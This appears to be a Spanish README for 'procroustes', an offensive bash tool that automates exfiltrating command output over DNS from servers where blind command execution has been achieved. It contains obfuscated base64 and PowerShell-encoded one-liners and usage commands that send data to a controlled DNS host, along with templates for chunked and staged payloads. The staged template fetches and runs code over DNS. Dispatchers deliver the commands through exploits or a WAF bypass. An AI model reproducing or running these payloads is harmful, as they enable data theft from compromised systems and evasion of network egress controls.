
Un script de bash que automatiza la exfiltración de datos a través de DNS en caso de que tengamos ejecución ciega de comandos en un servidor con filtrado de salida.
Un script bash que automatiza la exfiltración de datos a través de DNS en caso de que tengamos una ejecución de comandos ciega en un servidor donde todas las conexiones salientes excepto DNS están bloqueadas. El script actualmente es compatible con sh, bash y powershell y es compatible con la ejecución de comandos de estilo exec (por ejemplo, java.lang.Runtime.exec).
Unstaged:
Staged:
Para su funcionamiento, el script toma como entrada el comando que queremos ejecutar en el servidor objetivo y lo transforma según el shell objetivo para permitir que su salida sea exfiltrada a través de DNS. Después de transformar el comando, se alimenta al "dispatcher". El dispatcher es un programa proporcionado por el usuario y se encarga de tomar un comando como entrada y hacer que se ejecute en el servidor objetivo por cualquier medio necesario (por ejemplo, explotando una vulnerabilidad). Después de que el comando se ejecuta en el servidor objetivo, se espera que desencadene solicitudes DNS a nuestro servidor de nombres DNS que contengan fragmentos de nuestros datos. El script escucha esas solicitudes hasta que la salida del comando proporcionado por el usuario se exfiltra por completo.
A continuación se muestran las transformaciones de comandos compatibles, generadas para la exfiltración del comando: ls
sh:
sh -c $@|base64${IFS}-d|sh . echo IGRpZyBAMCArdHJpZXM9NSBgKGxzKXxiYXNlNjQgLXcwfHdjIC1jYC5sZW4xNjAzNTQxMTc4LndoYXRldi5lcgo=
bash:
bash -c {echo,IG5zbG9va3VwIGAobHMpfGJhc2U2NCAtdzB8d2MgLWNgLmxlbi4xNjAzMDMwNTYwLndoYXRldi5lcgo=}|{base64,-d}|bash
powershell:
powershell -enc UgBlAHMAbwBsAHYAZQAtAEQAbgBzAE4AYQBtAGUAIAAkACgAIgB7ADAAfQAuAHsAMQB9AC4AewAyAH0AIgAgAC0AZgAgACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAGwAcwApACkAKQAuAGwAZQBuAGcAdABoACkALAAiAGwAZQBuACIALAAiADEANgAwADMAMAAzADAANAA4ADgALgB3AGgAYQB0AGUAdgAuAGUAcgAiACkACgA=
./procroustes_chunked.sh -h whatev.er -d "dig @0 +tries=5" -x dispatcher_examples/local_bash.sh -- 'ls -lha|grep secret' < <(stdbuf -oL tcpdump --immediate -l -i any udp port 53)
stdbuf -oL tcpdump --immediate -l -i any udp port 53|./procroustes_chunked.sh -w ps -h whatev.er -d "Resolve-DnsName -Server wsl2_IP -Name" -x dispatcher_examples/local_powershell_wsl2.sh -- 'gci | % {$_.Name}'
./procroustes_chunked.sh -w ps -h yourdns.host -d "Resolve-DnsName" -x dispatcher_examples/curl_waf.sh -- 'gci | % {$_.Name}' < <(stdbuf -oL ssh user@HOST 'sudo tcpdump --immediate -l udp port 53')
./procroustes_chunked.sh --help
En resumen, asumiendo que queremos exfiltrar algunos datos que deben dividirse en cuatro fragmentos para poder transmitirse a través de DNS:
Algunas de sus diferencias también se pueden ilustrar mediante los comandos de plantilla utilizados para bash:
procroustes_chunked/bash:
%DNS_TRIGGER% `(%CMD%)|base64 -w0|cut -b$((%INDEX%+1))-$((%INDEX%+%COUNT%))'`.%UNIQUE_DNS_HOST%
procroustes_full/bash:
(%CMD%)|base64 -w0|echo $(cat)--|grep -Eo '.{1,%LABEL_SIZE%}'|xargs -n%NLABELS% echo|tr ' ' .|awk '{printf "%s.%s%s\n",$1,NR,"%UNIQUE_DNS_HOST%"}'|xargs -P%THREADS% -n1 %DNS_TRIGGER%
procroustes_full/bash/staged:
(seq %ITERATIONS%|%S_DNS_TRIGGGER% $(cat).%UNIQUE_DNS_HOST%|tr . \ |printf %02x $(cat)|xxd -r -p)|bash
[1] Para la versión staged, el comando se descarga a través de DNS, por lo que el tamaño listado es también el tamaño total del payload.
[2] En procroustes_chunked, se llama al dispatcher varias veces y, por lo tanto, también al comando proporcionado que se supone que se ejecutará en el servidor (hasta que se exfiltre toda su salida). Este comportamiento no es ideal si la entrega de comandos al servidor (es decir, llamando al dispatcher) requiere mucho tiempo o recursos.
También puede causar problemas si el comando que estamos ejecutando en el servidor no es idempotente (en cuanto a funcionalidad o salida, por ejemplo, 'ls;rm file') o requiere mucho tiempo/recursos (por ejemplo, find / -name secret). Una solución alternativa para este caso es almacenar primero la salida del comando en un archivo (por ejemplo, /tmp/file) y luego usar el script para leer ese archivo.
[3] En la versión staged tenemos la sobrecarga del tiempo necesario para obtener el payload real a través de DNS. Cabe señalar que el script utiliza registros A para obtener el payload real. Aunque esto permite que nuestro tráfico se mezcle mejor con el tráfico regular del entorno objetivo, ofrece una capacidad de canal limitada (por ejemplo, 4 bytes por solicitud). Podríamos hacer uso de otros tipos de registros como TXT y minimizar el tiempo de descarga del stage (cerca de cero) y el tamaño del stager.
| procroustes_chunked | procroustes_full | procroustes_full_staged |
|---|
| sobrecarga de tamaño de payload (bash/powershell) | 150*NLABELS/500*NLABELS (+CMD_LEN) | 300/800 (+CMD_LEN) | 150/400[1] |
| # llamadas al dispatcher | #output/(LABEL_SIZE*NLABELS)[2] | 1 | 1 |
| velocidad (bash/powershell) | ✔/✔ | ✔/✔ | ✓/✓[3] |
| dificultad de configuración | easy | easy+ | medium |